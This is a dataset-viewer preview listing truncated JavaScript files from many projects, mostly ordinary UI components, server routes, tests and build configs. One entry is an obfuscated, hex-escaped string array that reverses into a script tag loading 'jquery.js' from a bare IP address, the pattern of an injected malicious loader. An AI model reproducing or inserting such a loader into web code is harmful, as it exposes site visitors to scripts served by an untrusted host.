text stringlengths 2 1.04M |
|---|
/**
* Kendo UI v2017.2.621 (http://www.telerik.com/kendo-ui)
* Copyright 2017 Telerik AD. All rights reserved. ... |
(function() {
'use strict';
/* This feature creates an xAxis for use within d4. There are a variety of
* accessors described below which modify the behavior and apperance of the axis.
*
*##### Accessors
* `axis` - The d3 axis object itself.
* `innerTickSize` - see: https://github.com/mbostock/d3/wik... |
/**!
* The MIT License
*
* Copyright (c) 2010-2012 Google, Inc. http://angularjs.org
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation... |
import React, { Fragment, useState } from "react";
import styled from "styled-components";
import SideBarContents from "./Components/SideBarContents";
import SellerMenuContent from "./Components/SellerMenuData";
import MasterMenuContent from "./Components/MasterMenuData";
function SideBar() {
const [isOpen, setIsOpe... |
/** @type {import('@loaders.gl/schema').BinaryFeatures} */
const EMPTY_BINARY_DATA = {
points: {
type: 'Point',
positions: {value: new Float32Array(), size: -Infinity},
globalFeatureIds: {value: new Uint16Array(), size: 1},
featureIds: {value: new Uint16Array(), size: 1},
numericProps: {},
pr... |
import { GraphQLSchema } from 'graphql';
import { queryType } from './query';
import { mutationType } from './mutation';
const schema = new GraphQLSchema({
query: queryType,
mutation: mutationType,
});
export { schema }; |
it("should allow to run a WebAssembly module with imports", function() {
return import("./wasm.wasm").then(function(wasm) {
const result = wasm.addNumber(20);
expect(result).toEqual(42);
});
}); |
/*
Módulo criado para tentar auxiliar alunos
que não estão em uma situação boa
Autores:
Lucas Varlesse
Felipe Menino
Filipe Meneses
*/
const builder = require('botbuilder');
const PossoFaltar = require('fatec-posso-faltar');
const library = new builder.Library('helpUser');
const getRealIntent = requ... |
(function() {
'use strict';
angular
.module('ngValidator.validation-translator')
.value('validationTranslatorConfig', {
"en": {
"accepted": "The :attribute must be accepted.",
"between": {
"numeric": "The :attribute must be between... |
const users = [];
// Users join to chat
const userJoin = (id, username, room) => {
const user = { id, username, room };
users.push(user);
return user;
};
const getCurrUser = (id) => {
return users.find((user) => user.id === id);
};
const userLeave = id => {
const userIdx = users.findIndex(user => user.i... |
'use strict'
const fs = process.versions.electron ? require('original-fs') : require('fs')
const path = require('path')
const mksnapshot = require('mksnapshot')
const vm = require('vm')
const stripBOM = function (content) {
if (content.charCodeAt(0) === 0xFEFF) {
content = content.slice(1)
}
return content
}... |
'use strict';
// set process_env to test to disable detailed logging
process.env.NODE_ENV = 'test';
var request = require('supertest'),
chai = require('chai'),
should = chai.should();
// To do: make sure route integration tests connect to a testing server
// Basic tests for checking all main web app ro... |
const mongoose = require('mongoose');
//Holiday Schema
let HolidaySchema = mongoose.Schema({
Name: {
type: String,
required: true
},
Date: {
type: String,
require: true
},
Description: {
type: String,
required: true
}
});
let Holiday = module.ex... |
const delay = require('delay');
const ewelink = require('../main');
const {
singleChannelDeviceId,
deviceIdWithPower,
fourChannelsDevice,
} = require('./_setup/credentials.json');
describe('invalid credentials', () => {
beforeEach(async () => {
await delay(1000);
});
test('no credentials given', asy... |
/**
* Coinsecure Api Documentation
* To generate an API key, please visit <a href='https://coinsecure.in/api' target='_new' class='homeapi'>https://coinsecure.in/api</a>.<br>Guidelines for use can be accessed at <a href='https://api.coinsecure.in/v1/guidelines'>https://api.coinsecure.in/v1/guidelines</a>.<br>Programm... |
/**
* Web application
*/
const apiUrl = 'https://5e043792.eu-gb.apigw.appdomain.cloud/guestbook';
const guestbook = {
// retrieve the existing guestbook entries
get() {
return $.ajax({
type: 'GET',
url: `${apiUrl}/entries`,
dataType: 'json'
});
},
// add a single guestbood entry
ad... |
mycallback( {"ELECTION CODE": "P210", "EXPENDITURE PURPOSE DESCRIP": "In-kind - ADVANCED COLOR PRINT- ENVELOPES AND OFFICE SUPPLIES", "BENEFICIARY CANDIDATE OFFICE": "H", "PAYEE ZIP": "65615", "MEMO CODE": "", "PAYEE STATE": "MO", "PAYEE LAST NAME": "DAVIS", "PAYEE CITY": "BRANSON", "PAYEE SUFFIX": "", "CONDUIT STREET ... |
/*
* Copyright 2020 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to ... |
/**
* Created by OS on 4/5/15.
*/
var PageComp = require('./pageComp');
var WorkPageComp = function (args) {
PageComp.call(this, args);
this.subName = args.subName;
this.image = args.image;
};
WorkPageComp.prototype.toString = function () {
return this.super(PageComp, 'toString') + " Sub Name: " + t... |
const domain = require('domain');
const utils = require('../util/Utils');
const constants = require('../util/constants');
const logger = require('pomelo-logger').getLogger('pomelo-rpc', __filename);
class FailureProcess
{
static Create(code, tracer, serverId, msg, opts)
{
const cb = tracer && tracer.cb;
const mo... |
const BrowseViewModel = require("./createtask-view-model");
const GridLayout = require("tns-core-modules/ui/layouts/grid-layout/grid-layout");
const Label = require("tns-core-modules/ui/label/label");
const Image = require("tns-core-modules/ui/image/image");
const DatePicker = require("tns-core-modules/ui/date-picker")... |
import TextField from '@ember/component/text-field';
TextField.reopen({
attributeBindings: ['autofocus']
}); |
import NeDB from "@seald-io/nedb";
import { join } from "path";
export default function (app) {
const dbPath = app.get("nedb");
const Model = new NeDB({
filename: join(dbPath, "events.db"),
autoload: true,
});
return Model;
} |
var Runner = {
/* PACKAGE { mask, script, style } */
process (template, opts) {
var dfr = new mask.class.Deferred;
Builder
.process(template, opts)
.fail(error => dfr.reject(error))
.done(pckg => {
Optimizer
.process(pckg.mask, opts)
.fail(error => dfr.reject(error))
.done(ast => {
... |
/**
* MySql Database Execuator - @version 1
*
* Made with ❤️ by Dibesh Raj Subedi
*
* Contributors :
*
* @description Executes queries and returns json response
*
* Set user REST operations with CRUD
* C -------> Create (Multiple , Single) -> (insert) --|
* R -------> Read (Multiple , Single) -> (pagina... |
//# sourceMappingURL=component---src-pages-photos-js-c237783c074a2909d196.js.map |
'use strict'
const router = require('electron-router')('WEB_SEARCH')
const { flatten } = require('lodash')
const { exists, writeFile } = require('fs')
const preCwd = global.upath.resolve(__dirname, '..')
const tpl = require(global.upath.joinSafe(__dirname, 'tpl'))
const AppBase = require(global.upath.... |
'use strict';
import defaultOptions from './defaults';
/**
* Creates output profile for given options
*/
export default class Profile {
/**
* @param {EmmetOutputProfile} options
*/
constructor(options) {
/** @type {EmmetOutputProfile} */
this.options = Object.assign({}, defaultOptions, options);
thi... |
/**
*
* thoughts:
* 单调队列
* O(n)
*
* @param {number[]} nums
* @param {number} k
* @return {number[]}
*/
function Deque() {
this.size = 0;
this.elements = []
}
Deque.prototype.peekFirst = function () {
return this.elements[0]
};
Deque.prototype.peekLast = function () {
return this.elements[this.size - ... |
(window["webpackJsonp"]=window["webpackJsonp"]||[]).push([["index"],{0:function(e,t,o){e.exports=o("44eb")},"01c2":function(e,t,o){},"1fe2":function(e,t,o){"use strict";var n=o("6ec3"),r=o.n(n);t["default"]=r.a},"259a":function(e,t,o){"use strict";o("01c2");var n=o("676c"),r=o.n(n),a=r.a.Loading,s=r.a.MessageBox,u=r.a.... |
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x7... |
// All material copyright ESRI, All Rights Reserved, unless otherwise specified.
// See http://js.arcgis.com/3.15/esri/copyright.txt and http://www.arcgis.com/apps/webappbuilder/copyright.txt for details.
//>>built
define({"dijit/_editor/nls/commands":{bold:"\u0639\u0631\u064a\u0636",copy:"\u0646\u0633\u062e",cut:"\u0... |
// modules are defined as an array
// [ module function, map of requires ]
//
// map of requires is short require name -> numeric require
//
// anything defined in a previous bundle is accessed via the
// orig method which is the require for previous bundles
parcelRequire = (function (modules, cache, entry, globalName)... |
var _drivers_2_board_2_a_v_r8_2_u_n_o_2_l_e_ds_8h =
[
[ "LEDMASK_RX", "group___group___l_e_ds___u_n_o.html#gacaf4f9d11fad603fdeab6129950ebc6d", null ],
[ "LEDMASK_TX", "group___group___l_e_ds___u_n_o.html#ga97cbcb317cac0b8baa59251788e5f69f", null ],
[ "LEDS_ALL_LEDS", "group___group___l_e_ds___u_n_o.html#ga... |
/*
* Licensed under MIT (https://github.com/ligoj/ligoj/blob/master/LICENSE)
*/
define({
'title': 'Catalogue',
'stop': 'Stop',
'quotes': 'Nombre de prix utilisant ce catalogue',
'lastSuccess': 'Date',
'nbLocations': 'Nombre de localisation disponible par ce fournisseur',
'nbStorageTypes': 'Nombre de types de st... |
// Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
/**
* @fileoverview 'app-management-plugin-vm-permission-dialog' is a component
* that alerts the user when Plugin Vm needs to be relaunched in order fo... |
const request = require("./request");
const schedule = require("node-schedule");
const { scheduleLogger } = require("./logger");
const url = process.env.HEROKU_URL;
if (process.env.NODE_ENV === "production" && url) {
schedule.scheduleJob("*/15 * * * *", () => {
request.get(url).catch(() => { });
});
... |
/*!
* OpenUI5
* (c) Copyright 2009-2021 SAP SE or an SAP affiliate company.
* Licensed under the Apache License, Version 2.0 - see LICENSE.txt.
*/
// Provides control sap.ui.core.LayoutData.
sap.ui.define(['./Element', "sap/ui/thirdparty/jquery", './library'],
function(Element, jQuery) {
"use strict";
/**
... |
const usersModel = require("../models/users")
// 载入加密对象
const { hash, compare } = require("../utils/tools")
const randomstring = require("randomstring")
// 注册用户
const signup = async (req, res, next) => {
// 设置返回数据格式 头部
res.set('content-type', 'application/json; charset=utf-8')
// 获取前端传过来的用户名和密码
const { usern... |
var express = require('express');
var router = express.Router();
var pool = require('../pool');
/* GET users listing. */
router.get('/:idap', function(req, res, next) {
pool.getConnection(function(error,connection) {
if(error) {
connection.release();
res.json({"code":100,"status":"Error connecti... |
// https://www.npmjs.com/package/kraken-exchange
Kraken = require('kraken-exchange');
const kraken = new Kraken(API_KEY, PRIV_KEY);
kraken.time()
.then(response => console.log(response))
.catch(err => console.error(err)); |
import {useState} from 'react';
import { connect } from 'react-redux';
import { closePopup } from '../../actions/app';
import { createUser } from '../../actions/users';
function NewUser(props) {
const [formData, setFormData] = useState({name:"", email:"", password: "", password_confirmation: ""});
function handl... |
import CategoryAnd16 from "./CategoryAnd16.svelte";
export default CategoryAnd16; |
import React from 'react';
import { Grommet, Box, InfiniteScroll, Text } from 'grommet';
import { grommet } from 'grommet/themes';
const allItems = Array(2000)
.fill()
.map((_, i) => `item ${i + 1}`);
/* eslint-disable react/prefer-stateless-function */
const MyItem = ({ item }) => {
return (
<Box pad="med... |
import error from '../util/error';
import isArray from '../util/is-array';
import isFunction from '../util/is-function';
import isNumber from '../util/is-number';
import isObject from '../util/is-object';
import isString from '../util/is-string';
import toArray from '../util/to-array';
import parse from '../expression/... |
import * as assert from 'assert';
import lodashStable from 'lodash';
import {
_,
identity,
whitespace,
MAX_SAFE_INTEGER,
MAX_INTEGER,
MAX_ARRAY_LENGTH,
symbol,
falsey
} from './utils';
describe('number coercion methods', () => {
lodashStable.each(['toFinite', 'toInteger', 'toNumber', 'toSafeInteger'... |
import React, { Component } from 'react';
import { DesignPane } from 'react-designpane';
export default class App extends Component {
constructor(props) {
super(props);
this.state = {
children: (
<div>
<div key="div">
<span>This is a div</span>
<strong>ABCD</s... |
// source: cosmos/tx/v1beta1/service.proto
/**
* @fileoverview
* @enhanceable
* @suppress {messageConventions} JS Compiler reports an error if a variable or
* field starts with 'MSG_' and isn't a translatable message.
* @public
*/
// GENERATED CODE -- DO NOT EDIT!
var jspb = require('google-protobuf');
var g... |
export const lessonsData = {
'start-lesson': {
id: 'startLesson',
title: 'Стартовый урок',
exercises: [
{
id: 1,
type: 'alphabet',
},
{
id: 2,
type: 'wordsslider',
caption: 'Учим новые слова',
data: {
words: [
{
... |
import {
ruleTester,
} from "../../../testUtils"
import rule, { ruleName, messages } from ".."
const testRule = ruleTester(rule, ruleName)
testRule(undefined, tr => {
tr.ok("\n")
tr.ok("a { color: pink; }\n")
tr.ok("a { color: pink; }\n\n\n")
tr.notOk("", {
message: messages.rejected,
line: 1,
... |
function generator$elder_scrolls$bosmers(type) {
var nm1 = ["Aen", "Aeng", "Aga", "Agar", "Ale", "Alen", "All", "Alli", "Alv", "Alve", "Amr", "Amra", "Amri", "An", "Ang", "Angl", "Angu", "Ano", "Anor", "Anr", "Anru", "Ar", "Ara", "Aran", "Arat", "Ath", "Athr", "Bae", "Baen", "Baer", "Bar", "Bara", "Bas", "Bast", "Ber"... |
import React from 'react'
const DEFAULT_SIZE = 24
export default ({
fill = 'currentColor',
width = DEFAULT_SIZE,
height = DEFAULT_SIZE,
style = {},
...props
}) => (
<svg
viewBox={ `0 0 ${ DEFAULT_SIZE } ${ DEFAULT_SIZE }` }
style={{ fill, width, height, ...style }}
{ ...props }
>
<path d... |
const Hapi = require('hapi');
const Boom = require('boom');
const Inert = require('inert');
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const config = require('./config');
const mongoUrl = config.mongo.url;
const serverPort = config.server.port;
const server = new... |
'use strict';
const webpack = require('webpack');
const autoprefixer = require('autoprefixer');
const AssetsPlugin = require('assets-webpack-plugin');
const BrowserSyncPlugin = require('browser-sync-webpack-plugin');
const MiniCssExtractPlugin = require("mini-css-extract-plugin");
const { CleanWebpackPlugin } = requir... |
import React from 'react';
import {makeStyles} from '@material-ui/core/styles';
import PropTypes from 'prop-types';
const useStyles = makeStyles(() => ({
iconWithText: {
display: 'flex'
},
icon: {
marginRight: '0.5rem'
},
text: {
overflow: 'hidden',
whiteSpace: 'nowr... |
const randomPuppy = require('random-puppy');
const request = require('node-fetch');
const fs = require("fs")
const config = require(`${process.cwd()}/botconfig/config.json`)
const Discord = require('discord.js');
const {
MessageEmbed
} = require('discord.js')
const booru = require('booru');
module.exports = {
... |
/*!
* ${copyright}
*/
sap.ui.define([
"sap/base/Log",
"sap/ui/base/SyncPromise",
"sap/ui/test/TestUtils"
], function(Log, SyncPromise, TestUtils) {
/*global QUnit, sinon */
/*eslint max-nested-callbacks:[1,5], no-warning-comments: 0 */
"use strict";
function assertFulfilled(assert, oSyncPromise, vExpectedResu... |
(function() {
function createNode(text) {
var index = text.indexOf('<');
if(index > 0) {
text = text.substring(index);
}
var doc;
if(window.ActiveXObject && !this.xmldom) {
doc = new ActiveXObject("Microsoft.XMLDOM");
... |
/* eslint-disable no-undef */
'use strict';
const net = require('net');
const faker = require('faker');
require('dotenv').config();
const host = process.env.HOST || 'localhost';
const port = process.env.PORT || 4000;
const storName = process.env.STORE_NAME;
const client = new net.Socket();
client.connect(port,host,(... |
var mapLoaded = false;
$(document).ready(function() {
populateProjects(1, "Completionist", "314owen", "An app that allows you to find others nearby who are interested in working on projects with you.", 69, 43.0846, -77.6743);
populateProjects(2, "GeoTrash", "Anisa", "Find that trash wooo!", 22, 43.0945, -77.6747... |
/* ______________________________________
________| |_______
\ | SmartAdmin WebApp | /
\ | Copyright © 2016 MyOrange | /
/ |______________________________________| \
/__________) ... |
import { Link } from "gatsby"
import * as React from "react"
import Template from "../components/Template"
const IndexPage = () => {
return (
<Template>
<div className="px-6 mt-10 py-10 text-center">
<h3 className="text-4xl font-semibold leading-normal mb-2 text-gray-800 mb-2">
404 - Page ... |
let tmpl = document.createElement('template');
tmpl.innerHTML = `
<style>:host { display: inline-block; width: 24px; height: 24px; fill: none; stroke: currentColor; stroke-width: 2px; stroke-linecap: round; stroke-linejoin: round; }</style>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><polyline point... |
const express = require("express");
const app = express();
const mongoose = require("mongoose");
const http = require("http");
const server = http.createServer(app);
const { Server } = require("socket.io");
const io = new Server(server);
const bodyParser = require("body-parser");
const cookieParser = require("cookie-pa... |
import fetch from 'dva/fetch';
import { notification } from 'antd';
const codeMessage = {
200: '服务器成功返回请求的数据',
201: '新建或修改数据成功。',
202: '一个请求已经进入后台排队(异步任务)',
204: '删除数据成功。',
400: '发出的请求有错误,服务器没有进行新建或修改数据,的操作。',
401: '用户没有权限(令牌、用户名、密码错误)。',
403: '用户得到授权,但是访问是被禁止的。',
404: '发出的请求针对的是不存在的记录,服务器没有进行操作',
40... |
"use strict";
var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) {
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Refl... |
import { mount, createLocalVue } from '@vue/test-utils';
import Vueoom, { Command, SegmentedToggle, SegmentedToggleOption } from 'vueoom';
import SignaturesFilters from '../../../components/filters/SignaturesFilters.vue';
const localVue = createLocalVue();
localVue.use(Vueoom);
describe('SignaturesFilters.test.js', (... |
const fs = require("fs");
const moment = require("moment");
const slugify = require("@sindresorhus/slugify");
const title = process.argv[2];
const blogdir = "./content/posts";
const postDate = moment().format("YYYY-MM-DD HH:mm:ss");
if (!title) {
console.log("❌ Please specify a post title.");
return;
}
const ba... |
window.__NUXT__=(function(a){return {staticAssetsBase:"\u002F_nuxt\u002Fstatic\u002F1638993667",layout:"default",error:a,state:{products:[],product:[],search:"",snackbar:{snackbars:[]},auth:{user:a,loggedIn:false,strategy:"local"}},serverRendered:true,routePath:"\u002Fcategory\u002Fpull%20and%20assist%20winch",config:{... |
'use strict';
const diff = require('diff');
const years = require('./years');
const keys = ['../es5'].concat(years).map((x) => [
x,
Object.keys(require(`./${x}`)).sort(), // eslint-disable-line global-require
]);
const results = Object.fromEntries([5].concat(years).map((y) => [
y,
{ added: new Set(), removed: n... |
// +----------------------------------------------------------------------
// | CRMEB [ CRMEB赋能开发者,助力企业发展 ]
// +----------------------------------------------------------------------
// | Copyright (c) 2016~2021 https://www.crmeb.com All rights reserved.
// +-------------------------------------------------------------... |
import uuid from 'uuid';
import * as dynamoDbLib from './libs/dynamodb-lib';
import {success, failure} from './libs/response-lib';
export async function main(event, context, callback) {
const data = JSON.parse(event.body);
const params = {
TableName: 'HCE-IngredientCategories',
Item: {
... |
var lang = require('mout/lang');
var object = require('mout/object');
var rc = require('./util/rc');
var expand = require('./util/expand');
var EnvProxy = require('./util/proxy');
var path = require('path');
var fs = require('fs');
function Config(cwd) {
this._cwd = cwd;
this._proxy = new EnvProxy();
this.... |
/**
* Copyright (c) 2017-present, Facebook, Inc.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
/* List of projects/orgs using your project for the users page */
const users = [];
const siteConfig = {
title: "Open Source Mentorsh... |
// Quartz.Loader.Loader
var Loader;
(function () {
/**
* Yükleyici
* @type {qz.Loader}
*/
Loader = qz.Loader = function (loadCallback , errorCallback) {
/**
* Yüklecinin sahibi olan paket
* @private
*/
this._owner = null;
/**
* ver... |
'use strict';
var _interopRequireDefault = require('@babel/runtime/helpers/interopRequireDefault');
exports.__esModule = true;
exports.default = NumberSchema;
var _inherits = _interopRequireDefault(require('./util/inherits'));
var _mixed = _interopRequireDefault(require('./mixed'));
var _locale = require('./locale... |
//webpack reference: webpack.github.io/docs/configuration.html
import path from 'path';
import webpack from 'webpack';
import HtmlWebpackPlugin from 'html-webpack-plugin';
import WebpackMd5Hash from 'webpack-md5-hash';
import ExtractTextPlugin from 'extract-text-webpack-plugin'
export default {
debug: true,
// Slow... |
export function login(dispatch, name) {
dispatch({ type: 'login', payload: name })
} |
import React from 'react';
import { useDispatch, useSelector } from 'react-redux';
import { NavLink } from 'react-router-dom';
import { signOut } from '../../store/modules/auth/actions';
import logo from '../../assets/logo_header.svg';
import { Container, Content, Profile } from './styles';
export default function ... |
#!/usr/bin/env node
/*
Copyright 2020 Adobe. All rights reserved.
This file is licensed to you under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License. You may obtain a copy
of the License at http://www.apache.org/licenses/LICENSE-2.0
Unless required by a... |
describe("Code Parity test", () => {
it("looks the same on macbook-15", () => {
cy.viewport("macbook-15");
cy.compareComponents({
reactComponentUrl: "/components/code",
viewComponentUrl: "/components/code?framework=vw",
selector: "[data-id='code']:first",
});
});
}); |
(function(e){const i=e["kn"]=e["kn"]||{};i.dictionary=Object.assign(i.dictionary||{},{"%0 of %1":"",Aquamarine:"",Black:"","Block quote":"ಗುರುತಿಸಲಾದ ಉಲ್ಲೇಖ",Blue:"",Bold:"ದಪ್ಪ","Bulleted List":"ಬುಲೆಟ್ ಪಟ್ಟಿ",Cancel:"ರದ್ದುಮಾಡು","Centered image":"","Change image text alternative":"ಚಿತ್ರದ ಬದಲಿ ಪಠ್ಯ ಬದಲಾಯಿಸು","C... |
export default { mixcloud: { width: 2304, height: 1792, paths: [{ d: 'M1645 1098q0-59-34-106.5t-87-68.5q-7 45-23 92-7 24-27.5 38t-44.5 14q-12 0-24-3-31-10-45-38.5t-4-58.5q23-71 23-143 0-123-61-227.5t-166-165.5-228-61q-134 0-247 73t-167 194q108 28 188 106 22 23 22 55t-22 54-54 22-55-22q-75-75-180-75-106 0-181 74.5t-75 1... |
parse_and_compile_and_run(9, 8, 2,
" \
function power(x, y) { \
return y === 0 \
? 1 \
: x * power(x, y - 1); \
} \
power(17, 1); ");
// Line 915: Error: "reached oom" |
/*! =========================================================
* bootstrap-slider.js
*
* Maintainers:
* Kyle Kemp
* - Twitter: @seiyria
* - Github: seiyria
* Rohit Kalkur
* - Twitter: @Rovolutionary
* - Github: rovolution
*
* =========================================================
*
* Licens... |
module.exports = async d => {
const code = d.command.code
const inside = d.unpack()
const err = d.inside(inside)
if (err) throw new Error(err)
const userID = inside.splits[0]
const roleID = inside.splits[1]
const guildID = inside.splits[2] || d.message.guild.id
const guild = d.c... |
/**
* Author: Ruo
* Create: 2018-08-15
* Description:
*/
import React from 'react';
import PropTypes from 'prop-types';
import styled from 'styled-components';
import {theme} from 'Styles';
const Wrapper = styled.div.attrs({
className: props => props.on ? 'model-wrapper on' : 'model-wrapper',
})`
position: ... |
'use strict';
var postcss = require('postcss');
// Map new selectors to outputs
var selectors = {
rangeTrack: '::track',
rangeThumb: '::thumb'
};
var pseudos = {
rangeTrack: [
'::-webkit-slider-runnable-track',
'::-moz-range-track',
'::-ms-track'
],
rangeThumb: [
'::-webkit-slider-thumb',... |
/* istanbul instrument in package npmtest_growl */
/*jslint
bitwise: true,
browser: true,
maxerr: 8,
maxlen: 96,
node: true,
nomen: true,
regexp: true,
stupid: true
*/
(function () {
'use strict';
var local;
// run shared js-env code - pre-init
(function () {
/... |
import React from "react"
import { graphql, useStaticQuery } from "gatsby"
import { connect } from "react-redux"
import {
setConfirmDialog,
toggleMenu,
setCallMenuAnchor,
setTextMenuAnchor,
} from "../redux/actions"
import { Link } from "react-scroll"
import { AppBar, Toolbar, IconButton, Typography } from "@ma... |
/**
* @version: 1.1
* @author: Dan Grossman http://www.dangrossman.info/
* @date: 2013-03-04
* @copyright: Copyright (c) 2012 Dan Grossman. All rights reserved.
* @license: Licensed under Apache License v2.0. See http://www.apache.org/licenses/LICENSE-2.0
* @website: http://www.improvely.com/
*/
!function ($) {
va... |
// Matter.js - http://brm.io/matter-js/
var Example = Example || {};
Example.slingshot = function() {
var Engine = Matter.Engine,
Render = Matter.Render,
Runner = Matter.Runner,
Composites = Matter.Composites,
Events = Matter.Events,
Constraint = Matter.Constraint,
... |
'use strict';
// Declare app level module which depends on views, and components
angular.module('myApp', [
'ngRoute',
'ngAnimate',
'ui.bootstrap.collapse',
'ui.bootstrap.tpls',
'ui.bootstrap.alert',
'myApp.about',
'myApp.cv',
'myApp.skills',
'myApp.oss',
'LocalStorageModule'
]).
config(['$location... |
//save and load events
diesel.events.save = function(name, data){
if(window.localStorage){
localStorage[name]= JSON.stringify(data);
console.log("Diesel, Saved", name);
}
else{
console.log("Diesel:Cannot save, not supported.")
}
};
diesel.events.load = function(name){
if(window.localStorage){
if(localSto... |
/*
* Copyright (c) 2015 Juniper Networks, Inc. All rights reserved.
*/
define([
'underscore',
'contrail-view',
'config/infra/serviceapplianceset/ui/js/models/SvcApplianceSetModel',
'config/infra/serviceapplianceset/ui/js/views/SvcApplianceSetEditView',
'config/common/ui/js/svcTmpl.utils',
], func... |
$(function()
{
$('#user_profile_roles').chosen()
$('.chzn-choices').width(175)
}); |
// Object.fromEntries method transforms a list of key-value pairs into an object
// transforms a list of key-value pairs into an object
const users = [['John', 49], ['Frank', 25], ['David', 36]]
const usersAge = Object.fromEntries(users) // converts the given object into its key-value pair
console.log(usersAge)
// ou... |
import partiteLayout from '../layout';
import transitionLayout from './transition-layout';
const deSelectSegment = (state, m, s) => {
const { _data, _options, _svg } = state;
for (let k of _data) {
transitionLayout(
state,
partiteLayout(
k.data,
_options.chart.innerHeight,
... |
import {closest, hasTouch, includes, isTouch, isVisible, matches, once, pointerEnter, pointerLeave, queryAll, trigger} from '../util/index';
export default function (UIkit) {
UIkit.component('toggle', {
mixins: [UIkit.mixin.togglable],
args: 'target',
props: {
href: String,
... |
/*
* Copyright (C) 2012 Google Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditio... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.